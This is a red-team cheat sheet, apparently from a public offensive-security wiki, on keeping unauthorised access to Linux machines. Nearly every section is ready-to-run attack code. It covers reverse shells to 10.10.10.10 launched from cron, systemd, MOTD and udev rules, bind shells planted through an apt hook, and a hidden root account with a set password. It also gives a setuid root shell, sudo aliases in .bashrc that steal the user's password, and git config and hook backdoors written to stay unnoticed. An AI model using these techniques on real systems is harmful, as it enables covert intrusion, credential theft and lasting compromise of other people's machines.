linux-persistence.md (12982B)
1 --- 2 title: "Linux - Persistence" 3 section: "Red Team" 4 sectionSlug: "redteam" 5 sourcePath: "docs/redteam/persistence/linux-persistence.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/redteam/persistence/linux-persistence.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Linux - Persistence 12 13 ## Summary 14 15 * [Basic Reverse Shell](#basic-reverse-shell) 16 * [Add a Root User](#add-a-root-user) 17 * [SUID Binary](#suid-binary) 18 * [Crontab](#crontab) 19 * [Bash Configuration File](#bash-configuration-file) 20 * [Startup Service](#startup-service) 21 * [Systemd User Service](#systemd-user-service) 22 * [Systemd Timer File](#systemd-timer-file) 23 * [Message of the Day](#message-of-the-day) 24 * [User Startup File](#user-startup-file) 25 * [Udev Rule](#udev-rule) 26 * [APT Configuration](#apt-configuration) 27 * [SSH Configuration](#ssh-configuration) 28 * [Git Configuration](#git-configuration) 29 * [Git Configuration Variables](#git-configuration-variables) 30 * [Git Hooks](#git-hooks) 31 * [Additional Linux Persistence Options](#additional-persistence-options) 32 * [References](#references) 33 34 ## Basic Reverse Shell 35 36 ```bash 37 ncat --udp -lvp 4242 38 ncat --sctp -lvp 4242 39 ncat --tcp -lvp 4242 40 ``` 41 42 ## Add a Root User 43 44 ```powershell 45 sudo useradd -ou 0 -g 0 john 46 sudo passwd john 47 echo "linuxpassword" | passwd --stdin john 48 ``` 49 50 ## SUID Binary 51 52 ```powershell 53 TMPDIR2="/var/tmp" 54 echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c 55 gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null 56 rm $TMPDIR2/croissant.c 57 chown root:root $TMPDIR2/croissant 58 chmod 4777 $TMPDIR2/croissant 59 ``` 60 61 ## Crontab 62 63 Crontab (short for cron table) is a configuration file for scheduling tasks (cron jobs) in Unix-like systems. It allows users to automate repetitive commands at specific times or intervals. 64 65 A crontab entry follows this format: 66 67 ```ps1 68 * * * * * command-to-execute 69 | | | | | 70 | | | | └── Day of the week (0-7, Sunday = 0 or 7) 71 | | | └──── Month (1-12) 72 | | └────── Day of the month (1-31) 73 | └──────── Hour (0-23) 74 └────────── Minute (0-59) 75 ``` 76 77 Run a script every time the system reboots. 78 79 ```bash 80 (crontab -l ; echo "@reboot sleep 200 && ncat 10.10.10.10 4242 -e /bin/bash")|crontab 2> /dev/null 81 ``` 82 83 ## Bash Configuration File 84 85 The ~/.bashrc file is a user-specific configuration script for Bash (Bourne Again Shell). It runs automatically whenever a new interactive, non-login shell is opened (e.g., when opening a terminal). 86 87 Example of a backdoor in `.bash_rc` where a reverse shell is triggered when the user is using the `sudo` command: 88 89 ```bash 90 TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0" 91 cat << EOF > /tmp/$TMPNAME2 92 alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S ' 93 EOF 94 if [ -f ~/.bashrc ]; then 95 cat /tmp/$TMPNAME2 >> ~/.bashrc 96 fi 97 if [ -f ~/.zshrc ]; then 98 cat /tmp/$TMPNAME2 >> ~/.zshrc 99 fi 100 rm /tmp/$TMPNAME2 101 ``` 102 103 Add the following line inside the user's `.bashrc` file to hijack the sudo command and write the content of the input into `/tmp/pass`. 104 105 ```powershell 106 chmod u+x ~/.hidden/fakesudo 107 echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc 108 ``` 109 110 Finally, create the `fakesudo` script. 111 112 ```powershell 113 read -sp "[sudo] password for $USER: " sudopass 114 echo "" 115 sleep 2 116 echo "Sorry, try again." 117 echo $sudopass >> /tmp/pass.txt 118 119 /usr/bin/sudo $@ 120 ``` 121 122 ## Startup Service 123 124 Edit `/etc/network/if-up.d/upstart` file 125 126 ```bash 127 RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null" 128 sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart 129 ``` 130 131 ## Systemd User Service 132 133 Create a service file in `~/.config/systemd/user/`. 134 135 ```ps1 136 vim ~/.config/systemd/user/persistence.service 137 ``` 138 139 Add the following configuration: 140 141 ```ps1 142 [Unit] 143 Description=Reverse shell[Service] 144 ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' 145 Restart=always 146 RestartSec=60[Install] 147 WantedBy=default.target 148 ``` 149 150 Enable service and start service: 151 152 ```ps1 153 systemctl --user enable persistence.service 154 systemctl --user start persistence.service 155 ``` 156 157 ## Systemd Timer File 158 159 A Systemd Timer is a way to schedule tasks (like cron jobs) using Systemd instead of `cron`. It works alongside a corresponding service file to execute commands at specific intervals or times. 160 161 Create a timer file : `/etc/systemd/system/backdoor.timer` 162 163 ```ini 164 [Unit] 165 Description=Backdoor Timer 166 167 [Timer] 168 OnBootSec=5min 169 OnUnitActiveSec=1h 170 171 [Install] 172 WantedBy=timers.target 173 ``` 174 175 Create a Corresponding Service Unit File: `/etc/systemd/system/backdoor.service` 176 177 ```ini 178 [Unit] 179 Description=Backdoor Service 180 181 [Service] 182 Type=simple 183 ExecStart=/bin/bash /opt/backdoor/backdoor.sh 184 ``` 185 186 Enable and Start the Timer 187 188 ```ps1 189 sudo systemctl enable shout.timer 190 sudo systemctl start shout.timer 191 ``` 192 193 ## Message of the Day 194 195 Edit `/etc/update-motd.d/00-header` file 196 197 ```bash 198 echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header 199 ``` 200 201 ## User Startup File 202 203 The `~/.config/autostart/` directory is used in Linux desktop environments (like GNOME, KDE, XFCE) to automatically start applications when a user logs in. 204 205 Each startup program is defined using a .desktop file placed in this directory. 206 207 ```powershell 208 [Desktop Entry] 209 Type=Application 210 Name=Custom Script 211 Exec=/home/user/scripts/startup.sh 212 Hidden=false 213 NoDisplay=false 214 X-GNOME-Autostart-enabled=true 215 ``` 216 217 ## Udev Rule 218 219 Udev is the device manager for the Linux kernel, responsible for dynamically handling device events. It can be exploited for persistence by executing a script whenever a specific device is plugged in. 220 221 ```bash 222 echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null 223 ``` 224 225 After saving the rule file, reload the udev rules: 226 227 ```ps1 228 sudo udevadm control --reload-rules 229 sudo udevadm trigger 230 ``` 231 232 ## APT Configuration 233 234 If you can create a file on the `apt.conf.d` directory with: 235 236 ```ps1 237 APT::Update::Pre-Invoke {"CMD"}; 238 ``` 239 240 Next time "`apt-get update`" is done, your CMD will be executed! 241 242 ```bash 243 echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor 244 ``` 245 246 ## SSH Configuration 247 248 Add an SSH key into the `~/.ssh` folder. 249 250 `~/.ssh/authorized_keys` is the standard file used by SSH to store public keys that are allowed to log in to the user account. Historically `authorized_keys` handled SSH protocol version 1 keys and `authorized_keys2` handled SSH protocol version 2 keys. 251 252 1. Generate a new key with `ssh-keygen` 253 2. Write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys` or `~/.ssh/authorized_keys2` 254 3. Set the right permission 255 256 | Path/File | Recommended Permission | Description | 257 |---------------------------|------------------------|--------------------------------------------------| 258 | `~/.ssh/` | `700` | Only the user can read/write/execute the folder | 259 | `~/.ssh/authorized_keys` | `600` | Only the user can read/write the file | 260 | `~/.ssh/authorized_keys2` | `600` | Same as above; legacy/deprecated file | 261 262 ## Git Configuration 263 264 Backdooring git can be a useful way to obtain persistence without the need for root access. 265 Special care must be taken to ensure that the backdoor commands create no output, otherwise the persistence is trivial to notice. 266 267 ### Git Configuration Variables 268 269 There are multiple [git configuration variables](https://git-scm.com/docs/git-config) that execute arbitrary commands when certain actions are taken. 270 As an added bonus, git configs can be specified multiple ways leading to additional backdoor opportunities. 271 Configs can be set at the user level (`~/.gitconfig`), at the repository level (`path/to/repo/.git/config`), and sometimes via environment variables. 272 273 `core.editor` is executed whenever git needs to provide the user with an editor (e.g. `git rebase -i`, `git commit --amend`). 274 The equivalent environment variable is `GIT_EDITOR`. 275 276 ```properties 277 [core] 278 editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}} 279 ``` 280 281 `core.pager` is executed whenever git needs to potentially large amounts of data (e.g. `git diff`, `git log`, `git show`). 282 The equivalent environment variable is `GIT_PAGER`. 283 284 ```properties 285 [core] 286 pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less} 287 ``` 288 289 `core.sshCommand` is executed whenever git needs to interact with a remote *ssh* repository (e.g. `git fetch`, `git pull`, `git push`). 290 The equivalent environment variable is `GIT_SSH` or `GIT_SSH_COMMAND`. 291 292 ```properties 293 [core] 294 sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh 295 [ssh] 296 variant = ssh 297 ``` 298 299 Note that `ssh.variant` (`GIT_SSH_VARIANT`) is technically optional, but without it git will run `sshCommand` *twice* in rapid succession. (The first run is to determine the SSH variant and the second to pass it the correct parameters.) 300 301 ### Git Hooks 302 303 [Git hooks](https://git-scm.com/docs/githooks) are programs you can place in a hooks directory to trigger actions at certain points during git's execution. 304 305 By default, hooks are stored in a repository's `.git/hooks` directory and are run when their name matches the current git action and the hook is marked as executable (i.e. `chmod +x`). 306 Potentially useful hook scripts to backdoor: 307 308 * `pre-commit` is run just before `git commit` is executed. 309 * `pre-push` is run just before `git push` is executed. 310 * `post-checkout` is run just after `git checkout` is executed. 311 * `post-merge` is run after `git merge` or after `git pull` applies new changes. 312 313 In addition to spawning a backdoor, some of the above hooks can be used to sneak malicious changes into a repo without the user noticing. 314 315 Lastly, it is possible to globally backdoor *all* of a user's git hooks by setting the `core.hooksPath` git config variable to a common directory in the user-level git config file (`~/.gitconfig`). Note that this approach will break any existing repository-specific git hooks. 316 317 ## Additional Persistence Options 318 319 * [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004) 320 * [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554) 321 * [Create Account](https://attack.mitre.org/techniques/T1136/) 322 * [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/) 323 * [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/) 324 * [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/) 325 * [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/) 326 * [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/) 327 * [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/) 328 * [External Remote Services](https://attack.mitre.org/techniques/T1133/) 329 * [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/) 330 * [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/) 331 * [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/) 332 * [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/) 333 * [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/) 334 * [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/) 335 * [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/) 336 * [Server Software Component](https://attack.mitre.org/techniques/T1505/) 337 * [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/) 338 * [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/) 339 * [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/) 340 * [Traffic Signaling](https://attack.mitre.org/techniques/T1205/) 341 * [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/) 342 * [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/) 343 * [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/) 344 345 ## References 346 347 * [apt.conf.d backdoor- RandoriSec - September 3, 2018](https://twitter.com/RandoriSec/status/1036622487990284289) 348 * [g0t r00t? pwning a machine - muelli - June 25, 2009](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/) 349 * [Modern Linux Rootkits 101 - Tyler Borland (TurboBorland) - September 20, 2013](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html) 350 * [[Hacking-Contest] Rootkit - Jakob Lell - May 7, 2014](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)